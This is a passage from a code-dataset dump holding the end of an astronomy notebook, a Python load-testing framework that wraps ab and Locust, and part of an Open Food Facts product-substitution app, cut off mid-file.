Gaia Archive (https://gea.esac.esa.int/archive/), query database, download vot (or other formats) and read in with astropy\n\n# In[ ]:\n\n\nfrom astropy.table import Table\nt = Table.read('/Users/jls/Downloads/1548744700623O-result.vot')\nprint(t)\n\n\n# ## Use TOPCAT\n# Download http://www.star.bris.ac.uk/~mbt/topcat/, query TAP services, etc.\n\n# In[63]:\n\n\nfrom astroquery.simbad import Simbad\nresult_table = Simbad.query_object(\"Hyades\")\nprint(SkyCoord(ra='{}h{}m{}s'.format(*result_table['RA'][0].split(' ')), \n dec='{}d{}m{}s'.format(*result_table['DEC'][0].split(' '))))\n\n"
}
] | 1 |
Anonymity124/api_perf_test | https://github.com/Anonymity124/api_perf_test | 7d0ded6b46e555a394239282d9dbf4e17c3d3864 | 6c60ab38da39965f0a59c9667647639a665ef293 | ec3b7113ef742ee6a4acf6c3ce8a9c8184e8098c | refs/heads/master | 2021-10-26T20:20:43.776092 | 2019-04-14T07:50:20 | 2019-04-14T07:50:20 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5714285969734192,
"alphanum_fraction": 0.5782312750816345,
"avg_line_length": 16.235294342041016,
"blob_id": "71c9f338c1d9585dfe39617189573a01a3c96f5e",
"content_id": "1d6bb070be3317dfd57c7828ca527b0c415f3944",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 356,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 17,
"path": "/utils.py",
"repo_name": "Anonymity124/api_perf_test",
"src_encoding": "UTF-8",
"text": "\n# -*- coding: utf-8 -*-\nimport os, sys\nimport yaml\n\n'''\n\t一个工具类获取yml文件和其内容\n'''\n\ndef get_values_from_yaml(yaml_file):\n f = open(yaml_file, 'r', encoding='utf-8')\n cfg = f.read()\n #print(type(cfg)) # 读出来是字符串\n #print(cfg)\n\n #获取字典表\n d = yaml.load(cfg) # 用load方法转字典\n return d\n"
},
{
"alpha_fraction": 0.6786206960678101,
"alphanum_fraction": 0.6855172514915466,
"avg_line_length": 26.865385055541992,
"blob_id": "06592b5c763b91bd5554ec7ef765491c90779edf",
"content_id": "f12fd0f217a4382d5c428cf778dbdf9dd74fa7ee",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1580,
"license_type": "no_license",
"max_line_length": 127,
"num_lines": 52,
"path": "/locust_runner.py",
"repo_name": "Anonymity124/api_perf_test",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n\nimport os,sys,subprocess\nfrom time import sleep\nimport yaml\nimport unittest\nimport json\n\nfrom locust import Locust, TaskSet, task\nfrom locust import HttpLocust\nfrom lib import utils\n'''\n此文件主要是为了配合CI,通过no-web的方式来执行,当然这里面需要一个终止信号。\n我们可以通过它判断Totol等于某个数来完成。\n'''\n\nPATH = os.path.abspath(os.path.join(os.path.dirname(__file__)))\nRESULTS_PATH = os.path.join(PATH + \"/outputs/\")\nREPORTS_PATH = os.path.join(PATH + \"/reports/\")\n\nprint(\"The current path is %s\" %PATH)\nprint(\"The result path is %s\" %RESULTS_PATH)\nprint(\"The report path is %s\" %REPORTS_PATH)\n\n#获得配置字典表\nd = utils.get_values_from_yaml(PATH+'/locust_conf.yml')\n\nif __name__ == '__main__':\n\n #获得运行参数\n current_num = d['current_num'] \n hatch_rate = d['hatch-rate']\n host = d['host']\n port = int(d['port'])\n \n # $ locust -f locust_files/my_locust_file.py --no-web -c 1000 -r 100\n #If you want to specify the run time for a test, you can do that with --run-time or -t:\n locust_command = \"locust -f locust_login_demo.py --host=%s -P %d --no-web -c %d -r %d\" %(host, port, current_num, hatch_rate)\n print(locust_command)\n stdoutput=None\n erroutput=None\n timeout=20\n p = subprocess.Popen(locust_command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, shell=True)\n try:\n (stdoutput, erroutput) = p.communicate(timeout=timeout)\n except Exception as err:\n print('except:')\n print(err)\n finally:\n p.kill()\n print(stdoutput)\n #os.system(locust_command)\n\n"
},
{
"alpha_fraction": 0.615807056427002,
"alphanum_fraction": 0.6389684677124023,
"avg_line_length": 36.375,
"blob_id": "b2ddb90f6831f72baa74aeb650c5eb3ce0984069",
"content_id": "5dd12896a134a83fa5eaff2d02baabddc14f6ece",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4550,
"license_type": "no_license",
"max_line_length": 135,
"num_lines": 112,
"path": "/locust_login_demo.py",
"repo_name": "Anonymity124/api_perf_test",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n\nimport os,sys,subprocess\nfrom time import sleep\nimport yaml\nimport unittest\nimport json\n\nfrom locust import Locust, TaskSet, task\nfrom locust import HttpLocust\nfrom lib import utils\n\n'''\n 两种执行方式:\n 1) 一种是web形式,更直观,可以随时调整参数和获得结果,图形化展现结果非常好使;\n 2)另一种是命令行方式,必须带有 -f 文件,就是locust_xxx.py这种配置文件\n 否则报错:\n locust -H http://www.baidu.com\n [2019-01-24 13:32:31,933] GaochuangMac.local/ERROR/locust.main: Could not find any locustfile! Ensure file ends in '.py'\n 下面捡重要的options说一下:\n -h, --help show this help message and exit\n -H HOST, --host=HOST Host to load test in the following format:\n http://10.21.32.33\n --web-host=WEB_HOST Host to bind the web interface to. Defaults to '' (all interfaces)\n -P PORT, --port=PORT, --web-port=PORT Port on which to run web host\n -f LOCUSTFILE, --locustfile=LOCUSTFILE python module file to import, e.g. '../other.py'.\n Default: locustfile\n --csv=CSVFILEBASE, --csv-base-name=CSVFILEBASE\n Store current request stats to files in CSV format.\n --master Set locust to run in distributed mode with this process as master\n --slave Set locust to run in distributed mode with this process as slave\n ...\n -c NUM_CLIENTS, --clients=NUM_CLIENTS\n Number of concurrent Locust users. Only used together with --no-web\n -r HATCH_RATE, --hatch-rate=HATCH_RATE\n The rate per second in which clients are spawned. Only used together with --no-web\n -t RUN_TIME, --run-time=RUN_TIME\n Stop after the specified amount of time, e.g. (300s, 20m, 3h, 1h30m, etc.). Only used together with --no-\n web\n -L LOGLEVEL, --loglevel=LOGLEVEL\n Choose between DEBUG/INFO/WARNING/ERROR/CRITICAL. Default is INFO.\n --logfile=LOGFILE Path to log file. If not set, log will go to\n stdout/stderr\n --print-stats Print stats in the console\n --only-summary Only print the summary stats\n ...\n'''\nPATH = os.path.abspath(os.path.join(os.path.dirname(__file__)))\nRESULTS_PATH = os.path.join(PATH + \"/outputs/\")\nREPORTS_PATH = os.path.join(PATH + \"/reports/\")\n\nprint(\"The current path is %s\" %PATH)\nprint(\"The result path is %s\" %RESULTS_PATH)\nprint(\"The report path is %s\" %REPORTS_PATH)\n\n#获得配置字典表\nd = utils.get_values_from_yaml(PATH+'/locust_conf.yml')\n\nlogin_url = d['login_url']\naccount = d['account']\npassword = d['password']\n\nclass UserBehavior(TaskSet):\n @task(1)\n def login(self):\n #Post example - 根据你网站的实际情况填写\n self.head = {'Content-Type':'application/json; charset=utf-8',\n 'User-Agent':\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\"\n }\n self.form_data = {'account':account, 'password':password}\n self.client.headers.update(self.head)\n #print(self.client.headers)\n\n response = self.client.post(login_url, data=self.form_data)\n print(\"The result of \\'login post\\' test is : %s\" %response)\n assert(response.status_code ==200)\n\n '''\n 这部分也是需要根据实际情况来编写,可以效仿login的案例 \n @task(1)\n def logout(self):\n #同上,一样处理\n self.client.post(\"/logout\", {\"account\":\"admin\", \"password\":\"xxx\"})\n result = r.json()\n assert r.json['code'] == 200\n ''' \n #@task takes an optional weight argument that can be used to specify the task’s execution ratio. \n #In the following example task2 will be executed twice as much as task1:\n \n @task(2)\n def index(self):\n response = self.client.get(\"/\")\n print(\"The result of \\'get test\\' is %s.\" %response)\n assert(response.status_code ==200) \n '''\n @task(1)\n def profile(self):\t\n self.client.get(\"/profile\")\n result = r.json()\n assert r.json['code'] == 200\n '''\nclass WebsiteUser(HttpLocust):\n '''\n websiteuser类:用于设置性能测试\n task_set :定义一个用户行为类\n min_wait :执行事务之间用户等待时间的下界(ms)\n max_wait: 用户等待时间的上界\n '''\n task_set = UserBehavior\n min_wait = 5000\n max_wait = 9000\n\n\n"
},
{
"alpha_fraction": 0.6340899467468262,
"alphanum_fraction": 0.6403951048851013,
"avg_line_length": 34.51492691040039,
"blob_id": "868e9f9ae956ad90cfc7348ce23186356e30044b",
"content_id": "dc24a47a69dac7f7a2bb811cdc671d8ae56d1007",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5198,
"license_type": "no_license",
"max_line_length": 100,
"num_lines": 134,
"path": "/ab_test.py",
"repo_name": "Anonymity124/api_perf_test",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n\nimport os,sys\nfrom time import sleep\nimport unittest\nimport subprocess\nfrom lib import utils\n\n'''\nab命令格式如下: \nab [options] [http[s]://]hostname[:port]/path\n这个“/”非常重要,如果你输入ab http://www.baidu.com会提示你invalid url,但是加上“/”后就okay。\nOptions are:\n -n requests Number of requests to perform,请求个数\n -c concurrency Number of multiple requests to make at a time,1个请求的并发访问数\n -t timelimit Seconds to max. to spend on benchmarking\n This implies -n 50000\n -s timeout Seconds to max. wait for each response\n Default is 30 seconds\n -b windowsize Size of TCP send/receive buffer, in bytes\n -B address Address to bind to when making outgoing connections\n -p postfile File containing data to POST. Remember also to set -T\n -u putfile File containing data to PUT. Remember also to set -T\n -T content-type Content-type header to use for POST/PUT data, eg.\n 'application/x-www-form-urlencoded'\n Default is 'text/plain'\n -v verbosity How much troubleshooting info to print\n -w Print out results in HTML tables\n -i Use HEAD instead of GET\n -x attributes String to insert as table attributes\n -y attributes String to insert as tr attributes\n -z attributes String to insert as td or th attributes\n -C attribute Add cookie, eg. 'Apache=1234'. (repeatable)\n -H attribute Add Arbitrary header line, eg. 'Accept-Encoding: gzip'\n Inserted after all normal header lines. (repeatable)\n -A attribute Add Basic WWW Authentication, the attributes\n are a colon separated username and password.\n -P attribute Add Basic Proxy Authentication, the attributes\n are a colon separated username and password.\n -X proxy:port Proxyserver and port number to use\n -V Print version number and exit\n -k Use HTTP KeepAlive feature\n -d Do not show percentiles served table.\n -S Do not show confidence estimators and warnings.\n -q Do not show progress when doing more than 150 requests\n -l Accept variable document length (use this for dynamic pages)\n -g filename Output collected data to gnuplot format file.\n -e filename Output CSV file with percentages served\n -r Don't exit on socket receive errors.\n -m method Method name\n -h Display usage information (this message)\n -I Disable TLS Server Name Indication (SNI) extension\n -Z ciphersuite Specify SSL/TLS cipher suite (See openssl ciphers)\n -f protocol Specify SSL/TLS protocol\n (TLS1, TLS1.1, TLS1.2 or ALL)\n需要注意的是:ab每次只能测试一个URL,适合做重复压力测试,支持POST方式。\n'''\n\n# Returns abs path relative to this file and not cwd\nPATH = os.path.abspath(os.path.join(os.path.dirname(__file__)))\nRESULTS_PATH = os.path.join(PATH + \"/outputs/\")\nREPORTS_PATH = os.path.join(PATH + \"/reports/\")\n\nprint(\"The current path is %s\" %PATH)\nprint(\"The result path is %s\" %RESULTS_PATH)\nprint(\"The report path is %s\" %REPORTS_PATH)\n\nd = utils.get_values_from_yaml(PATH+'/ab_conf.yml')\n\ndef ab_format():\n\t'''\n\t\t从配置文件读取每一个case的配置,然后组合成ab命令\n\t\t返回一个list\n\t'''\n\tcases = d['perform_num']\n\tab_commands = []\n\tif len(cases) >1:\n\t\ti=0\n\t\tfor case in cases:\n\t\t\tab_command = d['ab_path']\n\t\t\tcase = d['perform_num'][i]\n\t\t\tcase_id = case['case']\n\t\t\tcurrent_num = case['current_num']\n\t\t\trequest_max = case['request_max']\n\t\t\turl = case['url']\n\t\t\tab_command += \" -n %s -c %s %s\" %(request_max ,current_num ,url)\n\t\t\tprint(\"Case #%s command is %s\" %(case_id, ab_command))\n\t\t\ti+=1\n\t\t\tab_commands.append(ab_command)\n\n\t\t\t#ab_command += \"ab %s %s\" % %url\n\telse:\n\t\tpass\n\treturn ab_commands\n\ndef htmlreport(result):\n\t'''\n\t\tToDo: 需要完成,根据需求将测试结果加工成html report\n\t\thttps://pypi.org/project/HTMLReport/\n\t\tHTMLReport是一个单元测试测试运行器,可以将测试结果保存在 Html 文件中,用于人性化的结果显示。\n\t\t仅支持Python 3.x\n\t\t因此如果要使用需要安装: pip3 install HTMLReport\n\t\timport unittest\n\t\timport HTMLReport\n\t'''\n\tpass\n\ndef handle_result(result):\n\t'''\n\t\t根据result形成想要的报告:1)将详细结果存档;2)将报告整理加工形成报告,或者集成到测试平台\n\t'''\n\tdetail_result_file = os.path.join(RESULTS_PATH+\"results.txt\")\n\tf=open(detail_result_file, 'a+', encoding='utf-8')\n\tf.write(result+'\\n')\n\tf.write('\\n')\n\tf.write('--------------------------------- end of the case ------------------------------- ' +'\\n')\n\tf.write('\\n')\n\tf.close()\n\thtmlreport(result)\n\n\ndef run_test():\n\tab_commands = ab_format()\n\tif ab_commands is not None:\n\t\tfor ab_command in ab_commands:\n\t\t\t(status, result) = subprocess.getstatusoutput(ab_command)\n\t\t\tif status == 0: #成功执行\n\t\t\t\thandle_result(result)\n\n\n\nif __name__ == '__main__':\n\t#print(d['perform_num'])\n\trun_test()"
},
{
"alpha_fraction": 0.6647090315818787,
"alphanum_fraction": 0.7015483379364014,
"avg_line_length": 34.32075500488281,
"blob_id": "1699626dd5cedc4fed15f39dae6b1fb4e8502903",
"content_id": "7f93af0b14e0fe0456ef8b747a28a5702cfab7a3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 3251,
"license_type": "no_license",
"max_line_length": 102,
"num_lines": 53,
"path": "/readme.MD",
"repo_name": "Anonymity124/api_perf_test",
"src_encoding": "UTF-8",
"text": "# web性能测试框架和工具对比 + 示例代码\n\n## 概述\n业内常用的url-api压测工具有ab、locust, loadrunner、httpLoad, jmeter等。\n其中,ab、httpLoad是轻量级的,locust是开源的,而且提供web版本,非常推荐。\nloadrunner是重量级别(软件时代的经典,需要付费,主要是windows 版本,目前很少有人在用)。\n\n## 项目框架\n\napi_perf_test \n  │ ab_conf.yml #ab压测case配置文件,例如ab文件路径,压测case压测参数等 \n  │ api_conf.yml # 本项目略,可以具体的项目来具体配置待测api 请求参数设置,例如,headers,body,params,cookie等 \n  │ ab_test.py #ab压测启动脚本,python3 ab_test.py \n  │ \n  ├─data #api参数,post数据存放路径 \n  ├─lib #压测框架lib库,比如处理测试数据的,形成测试报告的一些工具类 \n    │ utils.py \n    │ parser.py \n    │ statis.py \n    │ __init__.py \n    │ \n  ├─outputs #压测详细结果输出路径 \n  └─results #压测结果建议报表输出路径\n\n## 配置文件说明\n配置文件主要是对ab 或者locust命令的参数进行配置,比如对ab来说有最大请求数,和当前并发数,还有url等\n对locust主要是当前并发数,和每一个并发数孵化的子请求数,比如如果是100个并发数,每一个孵化10个子请求,那么总请求数就是100\\*10=1000个\n\n## 测试结果分析\n测试结果分析主要是把测试结果进行整理,形成一个很直观的报告,因为直接把测试结果给人看,不一定能获得有效信息,而且浪费他人时间,如果把主要了解的信息提取出来并且根据业务有对比,可能更有帮助。\n有时候需要测试结果来完成CI的下一步,如果测试结果不合格,应该有自动预警比如发信给相关负责人。\n\n当然,locust 的web方式做的非常棒,也可以不用自己再花精力整理报告,拿来就好了。\n因为locust的运行方式两种,因此本案例是采用no web方式,方便CI,如果单纯做压力测试,推荐用web方式,启动后控制台出现(举个例子):\n```\nStarting web monitor at *:8089\n[2019-02-15 14:19:31,143] xxx: Starting Locust 0.9.0\n[2019-02-15 14:19:59,655] xxx: Hatching and swarming 10 clients at the rate 10 clients/s...\n```\n这时候你去浏览器输入 localhost:8089 即可享受web方式带来的方便和良好体验。\n\n## 工具对比\n[对wrk,ab, locust, jmeter性能工具的对比:](https://testerhome.com/topics/17068)\n\n工具|wrk|ab|locust|jmeter\n---|:--:|--:|:---:|----:\n安装|简单|简单|依赖python|依赖jdk\n场景|压测|不支持|不支持|支持|支持\nUI界面|无 |无 | 有 | 有\n脚本录制|无 |无 | 无 | 利用本地ProxyServer或badboy\n资源监控|无 |无 | 无 | 通过JMeterPlugins插件和ServerAgent实现\n报告分析|无 |无 | 无 | 生成HTML报告\nCI的支持|支持|支持|支持|支持\n\n"
}
] | 5 |
Julien-V/P5 | https://github.com/Julien-V/P5 | 15862124ebaa2e61e07917e421e6678ab171f8ed | 21594b0b7a524f9dd4763119ad7687bb4cace704 | 07eb46fca28c645dfd64622ddc440a41d1fb72c2 | refs/heads/master | 2022-12-09T12:42:30.309155 | 2020-05-26T09:32:32 | 2020-05-26T09:32:32 | 252,806,818 | 0 | 0 | null | 2020-04-03T18:16:15 | 2020-05-26T09:32:51 | 2021-06-02T01:43:57 | Python | [
{
"alpha_fraction": 0.5730994343757629,
"alphanum_fraction": 0.5847952961921692,
"avg_line_length": 12.15384578704834,
"blob_id": "ae8467a5e19b3fc30719ba1ea0e6024f74c80e35",
"content_id": "07d2d22c36cafd066125f5dc18bbbe310b9e9fc9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 171,
"license_type": "no_license",
"max_line_length": 26,
"num_lines": 13,
"path": "/main.py",
"repo_name": "Julien-V/P5",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\n# coding : utf-8\n\nfrom openff import core\n\n\ndef main(debug=False):\n app = core.App(debug)\n app.run()\n\n\nif __name__ == \"__main__\":\n main(False)\n"
},
{
"alpha_fraction": 0.5397667288780212,
"alphanum_fraction": 0.5415341258049011,
"avg_line_length": 31.147727966308594,
"blob_id": "8975ea5259eb35b691e177104f88e176433cf67a",
"content_id": "9d68e940c9abd6499277384ebc8640c59840b362",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2829,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 88,
"path": "/init_db.py",
"repo_name": "Julien-V/P5",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\n# coding : utf-8\n\nimport json\nimport requests\n\nimport config as cfg\n\nfrom openff.controllers import product, category\n\n\nclass Populate:\n \"\"\"This class gets all the products in a category\n and insert them in database\n \"\"\"\n def __init__(self, param, db, cat_id):\n \"\"\"This method initializes the class\n :param param: url arguments for the request\n :param db: database object\n :param cat_id: categorie id in table Categories\n \"\"\"\n self.name = param[\"tag_0\"]\n self.param = param\n self.db = db\n self.cat_id = cat_id\n self.url = cfg.url\n self.headers = cfg.headers\n self.count = 0\n self.result_list = []\n\n def get_and_load(self):\n \"\"\"This method does the request and decode returned JSON\n :return: JSON decoded by json.loads()\"\"\"\n requesting = True\n while requesting:\n try:\n r = requests.get(\n self.url,\n headers=self.headers,\n params=self.param)\n requesting = False\n except requests.exceptions.Timeout:\n print(\"[!] Timeout.\")\n except requests.exceptions.RequestException as e:\n print(f\"[!] Error : {e}\")\n result = json.loads(r.text)\n return result\n\n def keep_nutri_g_only(self):\n \"\"\"This method keeps only products with nutrition grades\"\"\"\n prod_list = self.result_list\n temp = [x for x in prod_list if \"nutrition_grades\" in x.keys()]\n self.result_list = temp\n\n def insert(self):\n \"\"\"This method inserts current category and its products in database\"\"\"\n if not self.result_list:\n print(\"resultList empty\")\n return\n cat_obj = category.Category(self.name, self.db)\n cat_obj.insert()\n print(\"lastrowid \", self.cat_id)\n for prod in self.result_list:\n prod_obj = product.Product(self.db, self.cat_id)\n prod_obj.get_validate_insert(prod)\n\n def run(self):\n result = self.get_and_load()\n if \"count\" in result.keys():\n self.count = int(result[\"count\"])\n if \"products\" in result.keys():\n self.result_list += result[\"products\"]\n while self.count < len(self.result_list):\n self.param[\"page\"] = int(self.param[\"page\"])+1\n result = self.get_and_load()\n if \"products\" in result.keys():\n self.result_list += result[\"products\"]\n else:\n break\n print(len(self.result_list))\n self.keep_nutri_g_only()\n print(len(self.result_list))\n self.insert()\n return\n\n\nif __name__ == \"__main__\":\n pass\n"
},
{
"alpha_fraction": 0.48330986499786377,
"alphanum_fraction": 0.48692941665649414,
"avg_line_length": 34.39501953125,
"blob_id": "fd9026ba43e29580b3d388f6baa33238eae1f078",
"content_id": "09f6ee53c4ec8af04037a9137907432f659b4f7c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 9946,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 281,
"path": "/openff/core.py",
"repo_name": "Julien-V/P5",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\n# coding : utf-8\n\n\nimport init_db\n\nfrom openff.models import db\nfrom openff.models import req_sql\nimport config as cfg\n\nfrom openff.controllers import product\n\n\nclass App:\n \"\"\"Main Class : controllers, views and models used by this class\n >>> app = core.App()\n >>> app.run()\n or with debug information :\n >>> app = core.App(True)\n >>> app.run()\n \"\"\"\n def __init__(self, debug=False):\n \"\"\"Class initialization and database loading\n :param debug: debug\n \"\"\"\n self.debug = debug\n self.running = False\n self.first = False\n # Const\n self.sql = req_sql.sql.copy()\n self.result = []\n self.item = dict()\n self.cat_id = None\n self.prod = None\n self.prod_s = None\n # Step\n self.step = cfg.step_app.copy()\n self.cwp = self.step\n self.cws = None\n self.old_path = list()\n # DB\n # while not self.db ?\n self.load_db()\n\n def load_db(self):\n \"\"\"Load db.DB() class and execute a query to test\n the presence of rows in database\n (if not, core.App.first_run() is called)\n \"\"\"\n self.db = db.DB()\n self.cursor = self.db.get_cursor()\n # select * from Categories;\n query = self.sql['test']\n self.cursor.execute(query)\n result = self.cursor.fetchall()\n # if Categories return empty set:\n if not result:\n self.first = True\n self.first_run()\n else:\n self.first = False\n\n def first_run(self):\n \"\"\"Create a Populate object for each category\n in openff.models.config.cat to get products and insert them in db\n \"\"\"\n for cat_id, category in enumerate(cfg.cat):\n param = cfg.param.copy()\n param['tag_0'] = category\n pop = init_db.Populate(param, self.cursor, cat_id+1)\n pop.run()\n\n def display_view(self, view, ctrl, args, r):\n \"\"\"This method chooses which view is given by the current step\n then create this view with appropriate controller\n :param view: a view (openff.views.menu_models)\n :param ctrl: a controller (openff.controllers.controller)\n :param args: args for the view\n :param r: previous user's anwser\n \"\"\"\n if view == cfg.choice:\n self.view = view(args[0], **args[1])\n self.ctrl = ctrl(self.view, self.cursor)\n rep = self.ctrl.choice_menu(self.debug)\n elif view == cfg.print_line and self.result:\n if r >= len(self.result):\n val = self.result[0]\n else:\n val = self.result[r]\n self.view = view(val, **args[1])\n self.ctrl = ctrl(self.view, self.cursor)\n rep = self.ctrl.print_line_db(self.debug)\n if not self.view.substitute and rep not in [777, 999]:\n rep = r\n else:\n rep = 777\n return rep\n\n def format_display(self, formatting_rules):\n \"\"\"format result following the list of formatting rules\n of the current step (lamda function)\n :param formatting_rules: list of lambda functions\n :return formatted: result (list) formatted\n >>> app.result\n [\"test\"]\n >>> fRules = [\n (lambda i: \"[*]\" + i,\n (lambda i: i + \".\")\n ]\n >>> app.format_display(fRules)\n \"[*] test.\"\n \"\"\"\n formatted = []\n for elem in self.result:\n r = elem\n for rule in formatting_rules:\n r = rule(r)\n formatted.append(r)\n return formatted\n\n def query(self, query, rep=None):\n \"\"\"This method executes a query on the loaded database\n :param query: SQL string\n :param rep: anwser of the previous step, set by default to None\n :return: result of the query\n \"\"\"\n if isinstance(rep, int) and \"%s\" in query:\n q = query\n q_args = (rep+1,)\n self.cursor.execute(q, q_args)\n else:\n q = query\n self.cursor.execute(q)\n return self.cursor.fetchall()\n\n def process_result(self, process_rules):\n \"\"\"This method processes the result of the query following the list\n of proccessing rules of the current step\n :param process_rules: list of lambda functions\n :return: return processed data\n \"\"\"\n p = self\n for rule in process_rules:\n p = rule(p)\n return p\n\n def update_prod(self):\n \"\"\"This methode updates a product by adding a substitute_id\"\"\"\n if self.product and self.prod_s:\n subs = self.prod_s\n prod = self.product\n prod_obj = product.Product(self.cursor, prod['category_id'])\n update = {'substitute_id': subs['id']}\n prod_obj.get_validate_insert(prod, update)\n else:\n if self.debug:\n print(f'prod/prod_s not loaded : {self.prod}//{self.prod_s}')\n\n def run(self):\n \"\"\"This method handles steps organization by :\n doing the actions required by the current step\n displaying the result\n analysing user anwser\n and changing the current step for the next/previous one\n \"\"\"\n print('core.App running')\n self.running = True\n rep = 0\n old_rep = list()\n previous = False\n while self.running:\n result_formatted = []\n if previous:\n previous = False\n if old_rep:\n rep = old_rep.pop()\n else:\n rep = 0\n exit_requested = False\n\n # param = [view, controller, [list, kwargs]]\n if 'param' not in self.cwp.keys():\n self.cwp_is_intersection = False\n if self.cws is None:\n key = list(self.cwp.keys())[0]\n self.cws = key\n param = self.cwp[self.cws].copy()\n else:\n self.cwp_is_intersection = True\n self.cws = None\n param = self.cwp['param'].copy()\n\n # loading params\n view, ctrl = param[0], param[1]\n if param[2]:\n args = param[2].copy()\n if len(param) == 4:\n param_ext = param[3]\n else:\n param_ext = dict()\n\n if self.debug:\n print(f\"cws: {self.cws}\")\n print(f\"param: {param}\")\n print(f\"len(old_path): {len(self.old_path)}\")\n print(f\"old_rep: {old_rep}\")\n print(f\"rep: {rep}\")\n\n # query\n if 'query' in param_ext.keys():\n if self.result:\n self.item = self.result[rep]\n else:\n self.item = self.item\n if '4query' in param_ext.keys():\n print(self.item.keys())\n for_query = param_ext['4query']\n if for_query in self.item.keys():\n rep = self.item[for_query]-1\n self.result = self.query(param_ext['query'], rep)\n # process\n if 'process' in param_ext.keys():\n self.result = self.process_result(param_ext['process'])\n # format choice list\n if 'format' in param_ext.keys() and self.result:\n result_formatted = self.format_display(param_ext['format'])\n args[0] = result_formatted\n\n if self.debug:\n print(f\"len(result): {len(self.result)}\")\n # display choice list\n if view and ctrl and args:\n rep = self.display_view(view, ctrl, args, rep)\n else:\n rep = None\n\n # previous and exit\n if rep == int(cfg.back) or rep == int(cfg.exit):\n if rep == int(cfg.back):\n previous = True\n else:\n exit_requested = True\n else:\n pass\n # changing view\n\n if self.cwp_is_intersection and not exit_requested:\n if previous and self.old_path:\n self.cwp = self.old_path.pop()\n elif not previous:\n selected_key = list(self.cwp.keys())[rep]\n self.old_path.append(self.cwp)\n self.cwp = self.cwp[selected_key]\n old_rep.append(rep)\n elif not self.cwp_is_intersection and not exit_requested:\n keys = list(self.cwp.keys())\n if self.cws in keys:\n index_key = keys.index(self.cws)\n if index_key > 0 and previous:\n previousKey = keys[index_key-1]\n self.cws = previousKey\n elif index_key == 0 and previous:\n self.cwp = self.old_path.pop()\n elif index_key < len(keys)-1 and not previous:\n old_rep.append(rep)\n next_key = keys[index_key+1]\n self.cws = next_key\n if next_key == 'prod_update':\n self.prod_s = self.result[rep]\n self.update_prod()\n elif next_key == 'end':\n self.cwp = self.step.copy()\n self.cws = None\n self.result = list()\n self.old_path = list()\n old_rep = list()\n elif next_key == 'subs_choice':\n self.product = self.result[rep]\n elif exit_requested:\n self.running = False\n print('Bye')\n"
},
{
"alpha_fraction": 0.5096984505653381,
"alphanum_fraction": 0.5122469067573547,
"avg_line_length": 33.45365905761719,
"blob_id": "56a85b3d1d2a12dd6b8b96ba0b6713ebcf50ab2b",
"content_id": "fa154903970ade8407fd4eb0b1647c35ade87b1f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7063,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 205,
"path": "/openff/views/menu_models.py",
"repo_name": "Julien-V/P5",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\n# coding : utf-8\n\nfrom openff.views import menu_component as menu_c\n\n\nclass ChoiceList:\n \"\"\"This class gathers multiples components from openff.views.menu_component\n in order to create and display a view.\n This view display a list and an input to get user's anwser.\n Title, some lines before the input and input customization are optionals\n >>> cl = menu_models.ChoiceList(values)\n >>> cl.get()\n \"\"\"\n def __init__(self, values, **kwargs):\n \"\"\"This method initializes the class and call self.gen()\n :param values: list of values to display\n :param kwargs: optional dict for optional display\n \"\"\"\n self.values = values\n if kwargs.keys():\n self.kwargs = kwargs\n else:\n self.kwargs = False\n self.text = ''\n self.resized_result = None\n self.disp_order = [\n menu_c.Title,\n menu_c.PrintList,\n menu_c.PrintLine,\n ]\n self.gen()\n\n def process_kwargs(self):\n \"\"\"This method processes optionals parameters in self.kwargs\"\"\"\n keys = self.kwargs.keys()\n if 'lines' in keys:\n for line in self.kwargs['lines']:\n print_line_obj = menu_c.PrintLine(line)\n self.queue.append(print_line_obj)\n if 'title' in keys:\n title = self.kwargs['title']\n title_obj = menu_c.Title(title)\n self.queue.append(title_obj)\n if 'text' in keys:\n self.text = self.kwargs['text']\n\n def gen(self):\n \"\"\"This method creates the menu components needed and\n add them to queue (list)\n \"\"\"\n self.queue = []\n print_list_obj = menu_c.PrintList(self.values)\n self.resized_result = print_list_obj.result\n self.queue.append(print_list_obj)\n if self.kwargs:\n self.process_kwargs()\n temp = []\n for obj in self.disp_order:\n for elem in self.queue:\n if isinstance(elem, obj):\n temp.append(elem)\n self.queue = temp\n # Input:\n self.prompt_obj = menu_c.Prompt(self.text)\n\n def get(self):\n \"\"\"This method prints the result of get() method in each\n menu_components added to queue\n :return: the method get() of a\n openff.views.menu_component.Prompt object\n \"\"\"\n for elem in self.queue:\n for line in elem.get():\n print(line)\n return self.prompt_obj.get()\n\n\nclass PrintLineDB:\n \"\"\"This class gathers multiples components from openff.views.menu_component\n in order to create and display a view.\n This view display a product details (dict)\n Title, some lines before the input and input customization are optionals\n >>> pl = menu_models.PrintLineDB(values)\n >>> pl.get()\n \"\"\"\n def __init__(self, val, **kwargs):\n \"\"\"This method initializes the class and call self.gen()\n :param val: a product (dict)\n :param kwargs: optional dict for 